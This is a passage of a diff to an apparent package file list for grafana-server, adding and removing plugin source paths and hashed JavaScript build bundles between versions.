%%DATADIR%%/public/app/plugins/datasource/mysql/configuration/ConfigurationEditor.tsx @@ -3316,6 +3363,8 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/datasource/parca/QueryEditor/Stack.tsx %%DATADIR%%/public/app/plugins/datasource/parca/QueryEditor/autocomplete.test.ts %%DATADIR%%/public/app/plugins/datasource/parca/QueryEditor/autocomplete.ts +%%DATADIR%%/public/app/plugins/datasource/parca/dataquery.cue +%%DATADIR%%/public/app/plugins/datasource/parca/dataquery.gen.ts %%DATADIR%%/public/app/plugins/datasource/parca/datasource.ts %%DATADIR%%/public/app/plugins/datasource/parca/img/logo-small.svg %%DATADIR%%/public/app/plugins/datasource/parca/lang/index.ts @@ -3334,6 +3383,8 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/datasource/phlare/QueryEditor/Stack.tsx %%DATADIR%%/public/app/plugins/datasource/phlare/QueryEditor/autocomplete.test.ts %%DATADIR%%/public/app/plugins/datasource/phlare/QueryEditor/autocomplete.ts +%%DATADIR%%/public/app/plugins/datasource/phlare/dataquery.cue +%%DATADIR%%/public/app/plugins/datasource/phlare/dataquery.gen.ts %%DATADIR%%/public/app/plugins/datasource/phlare/datasource.test.ts %%DATADIR%%/public/app/plugins/datasource/phlare/datasource.ts %%DATADIR%%/public/app/plugins/datasource/phlare/img/phlare_icon_color.svg @@ -3342,6 +3393,7 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/datasource/phlare/phlareql/phlareql.ts %%DATADIR%%/public/app/plugins/datasource/phlare/plugin.json %%DATADIR%%/public/app/plugins/datasource/phlare/types.ts +%%DATADIR%%/public/app/plugins/datasource/postgres/CheatSheet.tsx %%DATADIR%%/public/app/plugins/datasource/postgres/PostgresQueryModel.ts %%DATADIR%%/public/app/plugins/datasource/postgres/QueryEditor.tsx %%DATADIR%%/public/app/plugins/datasource/postgres/README.md @@ -3373,6 +3425,8 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/datasource/prometheus/components/PromQueryField.tsx %%DATADIR%%/public/app/plugins/datasource/prometheus/components/PrometheusMetricsBrowser.test.tsx %%DATADIR%%/public/app/plugins/datasource/prometheus/components/PrometheusMetricsBrowser.tsx +%%DATADIR%%/public/app/plugins/datasource/prometheus/components/VariableQueryEditor.test.tsx +%%DATADIR%%/public/app/plugins/datasource/prometheus/components/VariableQueryEditor.tsx %%DATADIR%%/public/app/plugins/datasource/prometheus/components/monaco-query-field/MonacoQueryField.tsx %%DATADIR%%/public/app/plugins/datasource/prometheus/components/monaco-query-field/MonacoQueryFieldLazy.tsx %%DATADIR%%/public/app/plugins/datasource/prometheus/components/monaco-query-field/MonacoQueryFieldProps.ts @@ -3399,6 +3453,8 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/datasource/prometheus/dashboards/grafana_stats.json %%DATADIR%%/public/app/plugins/datasource/prometheus/dashboards/prometheus_2_stats.json %%DATADIR%%/public/app/plugins/datasource/prometheus/dashboards/prometheus_stats.json +%%DATADIR%%/public/app/plugins/datasource/prometheus/dataquery.cue +%%DATADIR%%/public/app/plugins/datasource/prometheus/dataquery.gen.ts %%DATADIR%%/public/app/plugins/datasource/prometheus/datasource.test.ts %%DATADIR%%/public/app/plugins/datasource/prometheus/datasource.tsx %%DATADIR%%/public/app/plugins/datasource/prometheus/img/cortex_logo.svg @@ -3414,6 +3470,7 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/datasource/prometheus/legend.ts %%DATADIR%%/public/app/plugins/datasource/prometheus/metric_find_query.test.ts %%DATADIR%%/public/app/plugins/datasource/prometheus/metric_find_query.ts +%%DATADIR%%/public/app/plugins/datasource/prometheus/migrations/variableMigration.ts %%DATADIR%%/public/app/plugins/datasource/prometheus/module.test.ts %%DATADIR%%/public/app/plugins/datasource/prometheus/module.ts %%DATADIR%%/public/app/plugins/datasource/prometheus/plugin.json @@ -3501,11 +3558,24 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/datasource/tempo/QueryEditor/TagsField/syntax.ts %%DATADIR%%/public/app/plugins/datasource/tempo/QueryEditor/utils.ts %%DATADIR%%/public/app/plugins/datasource/tempo/README.md +%%DATADIR%%/public/app/plugins/datasource/tempo/SearchTraceQLEditor/DurationInput.tsx +%%DATADIR%%/public/app/plugins/datasource/tempo/SearchTraceQLEditor/InlineSearchField.tsx +%%DATADIR%%/public/app/plugins/datasource/tempo/SearchTraceQLEditor/SearchField.test.tsx +%%DATADIR%%/public/app/plugins/datasource/tempo/SearchTraceQLEditor/SearchField.tsx +%%DATADIR%%/public/app/plugins/datasource/tempo/SearchTraceQLEditor/TagsInput.tsx +%%DATADIR%%/public/app/plugins/datasource/tempo/SearchTraceQLEditor/TraceQLSearch.test.tsx +%%DATADIR%%/public/app/plugins/datasource/tempo/SearchTraceQLEditor/TraceQLSearch.tsx +%%DATADIR%%/public/app/plugins/datasource/tempo/SearchTraceQLEditor/utils.test.ts +%%DATADIR%%/public/app/plugins/datasource/tempo/SearchTraceQLEditor/utils.ts %%DATADIR%%/public/app/plugins/datasource/tempo/configuration/ConfigEditor.tsx %%DATADIR%%/public/app/plugins/datasource/tempo/configuration/LokiSearchSettings.tsx %%DATADIR%%/public/app/plugins/datasource/tempo/configuration/QuerySettings.tsx %%DATADIR%%/public/app/plugins/datasource/tempo/configuration/SearchSettings.tsx %%DATADIR%%/public/app/plugins/datasource/tempo/configuration/ServiceGraphSettings.tsx +%%DATADIR%%/public/app/plugins/datasource/tempo/configuration/TraceQLSearchSettings.tsx +%%DATADIR%%/public/app/plugins/datasource/tempo/configuration/TraceQLSearchTags.tsx +%%DATADIR%%/public/app/plugins/datasource/tempo/dataquery.cue +%%DATADIR%%/public/app/plugins/datasource/tempo/dataquery.gen.ts %%DATADIR%%/public/app/plugins/datasource/tempo/datasource.test.ts %%DATADIR%%/public/app/plugins/datasource/tempo/datasource.ts %%DATADIR%%/public/app/plugins/datasource/tempo/graphTransform.test.ts @@ -3606,6 +3676,7 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/panel/alertlist/types.ts %%DATADIR%%/public/app/plugins/panel/alertlist/unified-alerting/GroupedView.tsx %%DATADIR%%/public/app/plugins/panel/alertlist/unified-alerting/UngroupedView.tsx +%%DATADIR%%/public/app/plugins/panel/alertlist/util.test.tsx %%DATADIR%%/public/app/plugins/panel/alertlist/util.ts %%DATADIR%%/public/app/plugins/panel/annolist/AnnoListPanel.test.tsx %%DATADIR%%/public/app/plugins/panel/annolist/AnnoListPanel.tsx @@ -3700,12 +3771,16 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/panel/debug/StateView.tsx %%DATADIR%%/public/app/plugins/panel/debug/img/icn-debug.svg %%DATADIR%%/public/app/plugins/panel/debug/module.tsx +%%DATADIR%%/public/app/plugins/panel/debug/panelcfg.cue +%%DATADIR%%/public/app/plugins/panel/debug/panelcfg.gen.ts %%DATADIR%%/public/app/plugins/panel/debug/plugin.json -%%DATADIR%%/public/app/plugins/panel/debug/types.ts %%DATADIR%%/public/app/plugins/panel/flamegraph/FlameGraphPanel.tsx %%DATADIR%%/public/app/plugins/panel/flamegraph/components/FlameGraph/FlameGraph.test.tsx %%DATADIR%%/public/app/plugins/panel/flamegraph/components/FlameGraph/FlameGraph.tsx -%%DATADIR%%/public/app/plugins/panel/flamegraph/components/FlameGraph/FlameGraphTooltip.test.ts +%%DATADIR%%/public/app/plugins/panel/flamegraph/components/FlameGraph/FlameGraphContextMenu.tsx +%%DATADIR%%/public/app/plugins/panel/flamegraph/components/FlameGraph/FlameGraphMetadata.test.ts +%%DATADIR%%/public/app/plugins/panel/flamegraph/components/FlameGraph/FlameGraphMetadata.tsx +%%DATADIR%%/public/app/plugins/panel/flamegraph/components/FlameGraph/FlameGraphTooltip.test.tsx %%DATADIR%%/public/app/plugins/panel/flamegraph/components/FlameGraph/FlameGraphTooltip.tsx %%DATADIR%%/public/app/plugins/panel/flamegraph/components/FlameGraph/__snapshots__/FlameGraph.test.tsx.snap %%DATADIR%%/public/app/plugins/panel/flamegraph/components/FlameGraph/dataTransform.test.ts @@ -3780,9 +3855,9 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/panel/geomap/layers/registry.ts %%DATADIR%%/public/app/plugins/panel/geomap/migrations.test.ts %%DATADIR%%/public/app/plugins/panel/geomap/migrations.ts -%%DATADIR%%/public/app/plugins/panel/geomap/models.cue -%%DATADIR%%/public/app/plugins/panel/geomap/models.gen.ts %%DATADIR%%/public/app/plugins/panel/geomap/module.tsx +%%DATADIR%%/public/app/plugins/panel/geomap/panelcfg.cue +%%DATADIR%%/public/app/plugins/panel/geomap/panelcfg.gen.ts %%DATADIR%%/public/app/plugins/panel/geomap/plugin.json %%DATADIR%%/public/app/plugins/panel/geomap/style/markers.ts %%DATADIR%%/public/app/plugins/panel/geomap/style/types.ts @@ -3800,6 +3875,7 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/panel/geomap/utils/measure.ts %%DATADIR%%/public/app/plugins/panel/geomap/utils/selection.ts %%DATADIR%%/public/app/plugins/panel/geomap/utils/tootltip.ts +%%DATADIR%%/public/app/plugins/panel/geomap/utils/uiUtils.tsx %%DATADIR%%/public/app/plugins/panel/geomap/utils/utils.ts %%DATADIR%%/public/app/plugins/panel/geomap/view.ts %%DATADIR%%/public/app/plugins/panel/gettingstarted/GettingStarted.tsx @@ -3868,14 +3944,15 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/panel/heatmap/img/icn-heatmap-panel.svg %%DATADIR%%/public/app/plugins/panel/heatmap/migrations.test.ts %%DATADIR%%/public/app/plugins/panel/heatmap/migrations.ts -%%DATADIR%%/public/app/plugins/panel/heatmap/models.gen.ts %%DATADIR%%/public/app/plugins/panel/heatmap/module.tsx %%DATADIR%%/public/app/plugins/panel/heatmap/palettes.ts %%DATADIR%%/public/app/plugins/panel/heatmap/panelcfg.cue +%%DATADIR%%/public/app/plugins/panel/heatmap/panelcfg.gen.ts %%DATADIR%%/public/app/plugins/panel/heatmap/partials/axes_editor.html %%DATADIR%%/public/app/plugins/panel/heatmap/partials/display_editor.html %%DATADIR%%/public/app/plugins/panel/heatmap/plugin.json %%DATADIR%%/public/app/plugins/panel/heatmap/suggestions.ts +%%DATADIR%%/public/app/plugins/panel/heatmap/types.ts %%DATADIR%%/public/app/plugins/panel/heatmap/utils.test.ts %%DATADIR%%/public/app/plugins/panel/heatmap/utils.ts %%DATADIR%%/public/app/plugins/panel/histogram/Histogram.tsx @@ -3902,6 +3979,8 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/panel/logs/LogsPanel.tsx %%DATADIR%%/public/app/plugins/panel/logs/img/icn-logs-panel.svg %%DATADIR%%/public/app/plugins/panel/logs/module.tsx +%%DATADIR%%/public/app/plugins/panel/logs/panelcfg.cue +%%DATADIR%%/public/app/plugins/panel/logs/panelcfg.gen.ts %%DATADIR%%/public/app/plugins/panel/logs/plugin.json %%DATADIR%%/public/app/plugins/panel/logs/suggestions.ts %%DATADIR%%/public/app/plugins/panel/logs/types.ts @@ -3931,6 +4010,7 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/panel/nodeGraph/Legend.test.tsx %%DATADIR%%/public/app/plugins/panel/nodeGraph/Legend.tsx %%DATADIR%%/public/app/plugins/panel/nodeGraph/Marker.tsx +%%DATADIR%%/public/app/plugins/panel/nodeGraph/Node.test.tsx %%DATADIR%%/public/app/plugins/panel/nodeGraph/Node.tsx %%DATADIR%%/public/app/plugins/panel/nodeGraph/NodeGraph.test.tsx %%DATADIR%%/public/app/plugins/panel/nodeGraph/NodeGraph.tsx @@ -4021,12 +4101,13 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/panel/table/__snapshots__/migrations.test.ts.snap %%DATADIR%%/public/app/plugins/panel/table/cells/BarGaugeCellOptionsEditor.tsx %%DATADIR%%/public/app/plugins/panel/table/cells/ColorBackgroundCellOptionsEditor.tsx +%%DATADIR%%/public/app/plugins/panel/table/cells/SparklineCellOptionsEditor.tsx %%DATADIR%%/public/app/plugins/panel/table/img/icn-table-panel.svg %%DATADIR%%/public/app/plugins/panel/table/migrations.test.ts %%DATADIR%%/public/app/plugins/panel/table/migrations.ts -%%DATADIR%%/public/app/plugins/panel/table/models.gen.ts %%DATADIR%%/public/app/plugins/panel/table/module.tsx %%DATADIR%%/public/app/plugins/panel/table/panelcfg.cue +%%DATADIR%%/public/app/plugins/panel/table/panelcfg.gen.ts %%DATADIR%%/public/app/plugins/panel/table/plugin.json %%DATADIR%%/public/app/plugins/panel/table/suggestions.ts %%DATADIR%%/public/app/plugins/panel/text/README.md @@ -4056,6 +4137,7 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/panel/timeseries/overrides/colorSeriesConfigFactory.test.ts %%DATADIR%%/public/app/plugins/panel/timeseries/overrides/colorSeriesConfigFactory.ts %%DATADIR%%/public/app/plugins/panel/timeseries/panelcfg.cue +%%DATADIR%%/public/app/plugins/panel/timeseries/panelcfg.gen.ts %%DATADIR%%/public/app/plugins/panel/timeseries/plugin.json %%DATADIR%%/public/app/plugins/panel/timeseries/plugins/AnnotationEditorPlugin.tsx %%DATADIR%%/public/app/plugins/panel/timeseries/plugins/AnnotationsPlugin.tsx @@ -4073,7 +4155,6 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/panel/timeseries/plugins/styles.ts %%DATADIR%%/public/app/plugins/panel/timeseries/plugins/types.ts %%DATADIR%%/public/app/plugins/panel/timeseries/suggestions.ts -%%DATADIR%%/public/app/plugins/panel/timeseries/types.ts %%DATADIR%%/public/app/plugins/panel/timeseries/utils.test.ts %%DATADIR%%/public/app/plugins/panel/timeseries/utils.ts %%DATADIR%%/public/app/plugins/panel/traces/README.md @@ -4143,8 +4224,8 @@ bin/grafana-server %%DATADIR%%/public/app/types/unified-alerting.ts %%DATADIR%%/public/app/types/user.ts %%DATADIR%%/public/app/types/window.d.ts -%%DATADIR%%/public/build/1189.f9ce28215801598783ac.js -%%DATADIR%%/public/build/1189.f9ce28215801598783ac.js.map +%%DATADIR%%/public/build/1251.8c2f64810ffce8b362e8.js +%%DATADIR%%/public/build/1251.8c2f64810ffce8b362e8.js.map %%DATADIR%%/public/build/1256.43e3dffb97f5c0f5e67e.js %%DATADIR%%/public/build/1256.43e3dffb97f5c0f5e67e.js.map %%DATADIR%%/public/build/1285.c8e505a662a5dc0f669a.js @@ -4173,10 +4254,10 @@ bin/grafana-server %%DATADIR%%/public/build/1833.5d72883f16811e14f9a6.js.map %%DATADIR%%/public/build/1899.5480f3827ea481087bef.js %%DATADIR%%/public/build/1899.5480f3827ea481087bef.js.map -%%DATADIR%%/public/build/2019.7411fb29c95f458544af.js -%%DATADIR%%/public/build/2019.7411fb29c95f458544af.js.map -%%DATADIR%%/public/build/215.c1c0320c66de376bf22b.js -%%DATADIR%%/public/build/215.c1c0320c66de376bf22b.js.map +%%DATADIR%%/public/build/2019.ec5667102966ff24ba5f.js +%%DATADIR%%/public/build/2019.ec5667102966ff24ba5f.js.map +%%DATADIR%%/public/build/2103.d6baaf3b8cc01b77dca7.js +%%DATADIR%%/public/build/2103.d6baaf3b8cc01b77dca7.js.map %%DATADIR%%/public/build/2171.12aed27be8edaf5f39e1.js %%DATADIR%%/public/build/2171.12aed27be8edaf5f39e1.js.map %%DATADIR%%/public/build/2182.7ddb3d363f0911c365bf.js @@ -4185,46 +4266,46 @@ bin/grafana-server %%DATADIR%%/public/build/2273.19cee7eb616edefc18a8.js.map %%DATADIR%%/public/build/2304.3f9942f8f45998b73178.js %%DATADIR%%/public/build/2304.3f9942f8f45998b73178.js.map -%%DATADIR%%/public/build/2319.7ecf04d2c381e6acc285.js -%%DATADIR%%/public/build/2319.7ecf04d2c381e6acc285.js.map +%%DATADIR%%/public/build/2319.7c881bd2bca49a0e0d41.js +%%DATADIR%%/public/build/2319.7c881bd2bca49a0e0d41.js.map %%DATADIR%%/public/build/2386.c97212a241fc10e0c48d.js %%DATADIR%%/public/build/2386.c97212a241fc10e0c48d.js.map -%%DATADIR%%/public/build/2446.230f9945a715c939d192.js -%%DATADIR%%/public/build/2446.230f9945a715c939d192.js.map +%%DATADIR%%/public/build/2446.95802c7499f012cb9f57.js +%%DATADIR%%/public/build/2446.95802c7499f012cb9f57.js.map %%DATADIR%%/public/build/2505.76d4b55dcad3a7b3edf6.js %%DATADIR%%/public/build/2505.76d4b55dcad3a7b3edf6.js.map +%%DATADIR%%/public/build/2533.b029dd967fae73a19b00.js +%%DATADIR%%/public/build/2533.b029dd967fae73a19b00.js.map %%DATADIR%%/public/build/2547.de0788afa9cd892d623d.js %%DATADIR%%/public/build/2547.de0788afa9cd892d623d.js.map -%%DATADIR%%/public/build/2557.640fd9f246cd34ce2b92.js -%%DATADIR%%/public/build/2557.640fd9f246cd34ce2b92.js.map +%%DATADIR%%/public/build/2557.c5f402d9b6a4ccc7d5ac.js +%%DATADIR%%/public/build/2557.c5f402d9b6a4ccc7d5ac.js.map %%DATADIR%%/public/build/2623.2f1e35d2a8665c69c16e.js %%DATADIR%%/public/build/2623.2f1e35d2a8665c69c16e.js.map %%DATADIR%%/public/build/2656.c70396b682207af738f0.js %%DATADIR%%/public/build/2656.c70396b682207af738f0.js.map %%DATADIR%%/public/build/2677.9941232beef6328aa01f.js %%DATADIR%%/public/build/2677.9941232beef6328aa01f.js.map -%%DATADIR%%/public/build/2773.7e912679364663ac17c9.js -%%DATADIR%%/public/build/2773.7e912679364663ac17c9.js.map +%%DATADIR%%/public/build/2773.272a000a5cb9ba81dba1.js +%%DATADIR%%/public/build/2773.272a000a5cb9ba81dba1.js.map %%DATADIR%%/public/build/2795.bbe4242b71fb57ebb12e.js %%DATADIR%%/public/build/2795.bbe4242b71fb57ebb12e.js.map %%DATADIR%%/public/build/2883.2981d8a0f9385ae786b9.js %%DATADIR%%/public/build/2883.2981d8a0f9385ae786b9.js.map -%%DATADIR%%/public/build/3019.106bd29c58be3753d321.js -%%DATADIR%%/public/build/3019.106bd29c58be3753d321.js.map %%DATADIR%%/public/build/3030.2b09bb8ff606f55fcbf5.js %%DATADIR%%/public/build/3030.2b09bb8ff606f55fcbf5.js.map %%DATADIR%%/public/build/3088.3536c58fbd9ff33a3501.js %%DATADIR%%/public/build/3088.3536c58fbd9ff33a3501.js.map +%%DATADIR%%/public/build/3128.f46babc47764ad7108eb.js +%%DATADIR%%/public/build/3128.f46babc47764ad7108eb.js.map %%DATADIR%%/public/build/3159.8b1120ef9347152f424d.js %%DATADIR%%/public/build/3159.8b1120ef9347152f424d.js.map -%%DATADIR%%/public/build/3189.551175e36ae1591a02bf.js -%%DATADIR%%/public/build/3189.551175e36ae1591a02bf.js.map +%%DATADIR%%/public/build/3189.b5ee2183b11bc169cf9f.js +%%DATADIR%%/public/build/3189.b5ee2183b11bc169cf9f.js.map %%DATADIR%%/public/build/3299.67b44b9c59f9c134c6c7.js %%DATADIR%%/public/build/3299.67b44b9c59f9c134c6c7.js.map %%DATADIR%%/public/build/3312.93271b01c9672c110bbd.js %%DATADIR%%/public/build/3312.93271b01c9672c110bbd.js.map -%%DATADIR%%/public/build/3320.d042b18636a0565d9f0f.js -%%DATADIR%%/public/build/3320.d042b18636a0565d9f0f.js.map %%DATADIR%%/public/build/3349.92933f5507f42898b2a2.js %%DATADIR%%/public/build/3349.92933f5507f42898b2a2.js.map %%DATADIR%%/public/build/3409.3cea4bc56018e4f0a757.js @@ -4233,20 +4314,16 @@ bin/grafana-server %%DATADIR%%/public/build/3419.cf44e8d1a8e041f60342.js.map %%DATADIR%%/public/build/3590.6d86e45a1ee44858a1ba.js %%DATADIR%%/public/build/3590.6d86e45a1ee44858a1ba.js.map -%%DATADIR%%/public/build/3663.f612ee04f6e454f254c0.js -%%DATADIR%%/public/build/3663.f612ee04f6e454f254c0.js.map %%DATADIR%%/public/build/3711.47576261111929ffc49f.js %%DATADIR%%/public/build/3711.47576261111929ffc49f.js.map +%%DATADIR%%/public/build/3755.5eb65f275aa129f822f9.js +%%DATADIR%%/public/build/3755.5eb65f275aa129f822f9.js.map %%DATADIR%%/public/build/3771.d28954304520c74a7919.js %%DATADIR%%/public/build/3771.d28954304520c74a7919.js.map -%%DATADIR%%/public/build/3795.647e4eb2e02601b4381e.js -%%DATADIR%%/public/build/3795.647e4eb2e02601b4381e.js.map %%DATADIR%%/public/build/3824.448cee4091e54290b6f8.js %%DATADIR%%/public/build/3824.448cee4091e54290b6f8.js.map %%DATADIR%%/public/build/3903.4408a31c2479fa9e0b85.js %%DATADIR%%/public/build/3903.4408a31c2479fa9e0b85.js.map -%%DATADIR%%/public/build/4053.7d3aaed7ce043fa4a88b.js -%%DATADIR%%/public/build/4053.7d3aaed7ce043fa4a88b.js.map %%DATADIR%%/public/build/4079.81514f8793c843464a63.js %%DATADIR%%/public/build/4079.81514f8793c843464a63.js.map %%DATADIR%%/public/build/4150.0f9e8f0dcd50c2fe44c7.js @@ -4255,50 +4332,50 @@ bin/grafana-server %%DATADIR%%/public/build/4248.df83b007f91f4d34f506.js.map %%DATADIR%%/public/build/4249.94446d7c0761d45c4044.js %%DATADIR%%/public/build/4249.94446d7c0761d45c4044.js.map -%%DATADIR%%/public/build/4254.aaefe17e9b7c61f721bc.js -%%DATADIR%%/public/build/4254.aaefe17e9b7c61f721bc.js.map -%%DATADIR%%/public/build/4259.a050946d11feacbee3f8.js -%%DATADIR%%/public/build/4259.a050946d11feacbee3f8.js.map +%%DATADIR%%/public/build/4254.f378ade17a0d4d269298.js +%%DATADIR%%/public/build/4254.f378ade17a0d4d269298.js.map %%DATADIR%%/public/build/4353.43756ce58f9fc424847f.js %%DATADIR%%/public/build/4353.43756ce58f9fc424847f.js.map %%DATADIR%%/public/build/4449.0563c888220de5e792b3.js %%DATADIR%%/public/build/4449.0563c888220de5e792b3.js.map %%DATADIR%%/public/build/4508.b8d2e375c41714fe1f92.js %%DATADIR%%/public/build/4508.b8d2e375c41714fe1f92.js.map -%%DATADIR%%/public/build/4552.91b095ff878d667519b5.js -%%DATADIR%%/public/build/4552.91b095ff878d667519b5.js.map -%%DATADIR%%/public/build/4601.3717dc54abef5c27ade5.js -%%DATADIR%%/public/build/4601.3717dc54abef5c27ade5.js.map +%%DATADIR%%/public/build/4601.ff7d3979850cf4080c4d.js +%%DATADIR%%/public/build/4601.ff7d3979850cf4080c4d.js.map %%DATADIR%%/public/build/4698.4055dd2725a7eb4ad237.js %%DATADIR%%/public/build/4698.4055dd2725a7eb4ad237.js.map +%%DATADIR%%/public/build/4712.373cf489d418bd8ea4f5.js +%%DATADIR%%/public/build/4712.373cf489d418bd8ea4f5.js.map +%%DATADIR%%/public/build/4761.4fc22606fb63ccb3d180.js +%%DATADIR%%/public/build/4761.4fc22606fb63ccb3d180.js.map %%DATADIR%%/public/build/4765.e59c95f8ba7c356288d5.js %%DATADIR%%/public/build/4765.e59c95f8ba7c356288d5.js.map -%%DATADIR%%/public/build/482.52e94b23a25a64269850.js -%%DATADIR%%/public/build/482.52e94b23a25a64269850.js.map -%%DATADIR%%/public/build/4993.d8d9e33cfaf27832a740.js -%%DATADIR%%/public/build/4993.d8d9e33cfaf27832a740.js.map -%%DATADIR%%/public/build/5001.73fc4664a697ce466368.js -%%DATADIR%%/public/build/5001.73fc4664a697ce466368.js.map -%%DATADIR%%/public/build/5048.55d94e037897a5a38617.js -%%DATADIR%%/public/build/5048.55d94e037897a5a38617.js.map -%%DATADIR%%/public/build/5135.98beed0ea091890d90ab.js -%%DATADIR%%/public/build/5135.98beed0ea091890d90ab.js.map -%%DATADIR%%/public/build/5200.9b932321224615edf421.js -%%DATADIR%%/public/build/5200.9b932321224615edf421.js.map +%%DATADIR%%/public/build/5001.e48e767dbd11719efd54.js +%%DATADIR%%/public/build/5001.e48e767dbd11719efd54.js.map +%%DATADIR%%/public/build/5048.88892cfcb3c03fc5c7a4.js +%%DATADIR%%/public/build/5048.88892cfcb3c03fc5c7a4.js.map +%%DATADIR%%/public/build/5331.6fa47f2f5492205834c7.js +%%DATADIR%%/public/build/5331.6fa47f2f5492205834c7.js.map %%DATADIR%%/public/build/5386.1974876e886f0026da7d.js %%DATADIR%%/public/build/5386.1974876e886f0026da7d.js.map %%DATADIR%%/public/build/5436.d2ead59433ecbc65110a.js %%DATADIR%%/public/build/5436.d2ead59433ecbc65110a.js.map %%DATADIR%%/public/build/5498.533676849aa9b1b982b5.js %%DATADIR%%/public/build/5498.533676849aa9b1b982b5.js.map +%%DATADIR%%/public/build/5510.5d8f006a1e821cf9c24d.js +%%DATADIR%%/public/build/5510.5d8f006a1e821cf9c24d.js.map +%%DATADIR%%/public/build/5524.874619dfe248d1146e59.js +%%DATADIR%%/public/build/5524.874619dfe248d1146e59.js.map +%%DATADIR%%/public/build/5644.376542d01ebd29e4e781.js +%%DATADIR%%/public/build/5644.376542d01ebd29e4e781.js.map %%DATADIR%%/public/build/5733.9cdc05f48932a2035923.js %%DATADIR%%/public/build/5733.9cdc05f48932a2035923.js.map %%DATADIR%%/public/build/5757.406f74eebeef874b499d.js %%DATADIR%%/public/build/5757.406f74eebeef874b499d.js.map -%%DATADIR%%/public/build/5771.41af852f0d3989bb446f.js -%%DATADIR%%/public/build/5771.41af852f0d3989bb446f.js.map -%%DATADIR%%/public/build/6008.b3396a08246a99027f66.js -%%DATADIR%%/public/build/6008.b3396a08246a99027f66.js.map +%%DATADIR%%/public/build/5771.39c1f9f01f6df091ef69.js +%%DATADIR%%/public/build/5771.39c1f9f01f6df091ef69.js.map +%%DATADIR%%/public/build/6008.24b9bed086b743747459.js +%%DATADIR%%/public/build/6008.24b9bed086b743747459.js.map %%DATADIR%%/public/build/6093.f5ab9a18733219487b27.js %%DATADIR%%/public/build/6093.f5ab9a18733219487b27.js.map %%DATADIR%%/public/build/610.5ac11796a3a762a2e611.js @@ -4307,40 +4384,42 @@ bin/grafana-server %%DATADIR%%/public/build/613.b77210d2013b5ade3ce4.js.map %%DATADIR%%/public/build/615.fa4599f74e04c773935b.js %%DATADIR%%/public/build/615.fa4599f74e04c773935b.js.map -%%DATADIR%%/public/build/6173.58641c1ab22cc9b2e3c0.js -%%DATADIR%%/public/build/6173.58641c1ab22cc9b2e3c0.js.map -%%DATADIR%%/public/build/6196.0558f509953269f3ea52.js -%%DATADIR%%/public/build/6196.0558f509953269f3ea52.js.map +%%DATADIR%%/public/build/6173.bcfd23ec2eaef56b8c90.js +%%DATADIR%%/public/build/6173.bcfd23ec2eaef56b8c90.js.map +%%DATADIR%%/public/build/6196.4c777004ed5665a4f501.js +%%DATADIR%%/public/build/6196.4c777004ed5665a4f501.js.map %%DATADIR%%/public/build/6233.8e1b5b6c0acfccc00190.js %%DATADIR%%/public/build/6233.8e1b5b6c0acfccc00190.js.map -%%DATADIR%%/public/build/6303.162b46605b5c56043489.js -%%DATADIR%%/public/build/6303.162b46605b5c56043489.js.map +%%DATADIR%%/public/build/6291.cb5ce8837ec621d8b6a1.js +%%DATADIR%%/public/build/6291.cb5ce8837ec621d8b6a1.js.map %%DATADIR%%/public/build/6401.dfa9a84bfa6a743648e0.js %%DATADIR%%/public/build/6401.dfa9a84bfa6a743648e0.js.map -%%DATADIR%%/public/build/6419.2d6058730c3362c18a17.js -%%DATADIR%%/public/build/6419.2d6058730c3362c18a17.js.map +%%DATADIR%%/public/build/6419.9c4d6b35a9c87b11f530.js +%%DATADIR%%/public/build/6419.9c4d6b35a9c87b11f530.js.map +%%DATADIR%%/public/build/6488.b4fc34371bd3f0fc2b5b.js +%%DATADIR%%/public/build/6488.b4fc34371bd3f0fc2b5b.js.map %%DATADIR%%/public/build/6537.701f150401e6ca1a92f0.js %%DATADIR%%/public/build/6537.701f150401e6ca1a92f0.js.map -%%DATADIR%%/public/build/6571.3aafd240ed6f04783a10.js -%%DATADIR%%/public/build/6571.3aafd240ed6f04783a10.js.map %%DATADIR%%/public/build/6577.de63cd08cf5a7d64b1dc.js %%DATADIR%%/public/build/6577.de63cd08cf5a7d64b1dc.js.map +%%DATADIR%%/public/build/6647.4f58073f759e15c1af0e.js +%%DATADIR%%/public/build/6647.4f58073f759e15c1af0e.js.map %%DATADIR%%/public/build/6694.aa35f234ccbc910da743.js %%DATADIR%%/public/build/6694.aa35f234ccbc910da743.js.map -%%DATADIR%%/public/build/6738.83bccb1acd1d384a5095.js -%%DATADIR%%/public/build/6738.83bccb1acd1d384a5095.js.map -%%DATADIR%%/public/build/6752.7d73ce68a668b4b1018b.js -%%DATADIR%%/public/build/6752.7d73ce68a668b4b1018b.js.map +%%DATADIR%%/public/build/6747.d1b1a44ced46aa134bcc.js +%%DATADIR%%/public/build/6747.d1b1a44ced46aa134bcc.js.map +%%DATADIR%%/public/build/6749.32f81d7fa137df51b539.js +%%DATADIR%%/public/build/6749.32f81d7fa137df51b539.js.map +%%DATADIR%%/public/build/6797.3fa9657c48903eda5adf.js +%%DATADIR%%/public/build/6797.3fa9657c48903eda5adf.js.map %%DATADIR%%/public/build/6847.7cd0ab849a12fcd296fc.js %%DATADIR%%/public/build/6847.7cd0ab849a12fcd296fc.js.map %%DATADIR%%/public/build/6899.a2aeb7ef4ad90c12e37f.js %%DATADIR%%/public/build/6899.a2aeb7ef4ad90c12e37f.js.map -%%DATADIR%%/public/build/7000.09a12fb48c66fbb8a0a9.js -%%DATADIR%%/public/build/7000.09a12fb48c66fbb8a0a9.js.map %%DATADIR%%/public/build/702.13db9ee2de9c4a3ebab4.js %%DATADIR%%/public/build/702.13db9ee2de9c4a3ebab4.js.map -%%DATADIR%%/public/build/7023.a021b74d3f7df623f87a.js -%%DATADIR%%/public/build/7023.a021b74d3f7df623f87a.js.map +%%DATADIR%%/public/build/7023.9297f6ae1e92f8f18d26.js 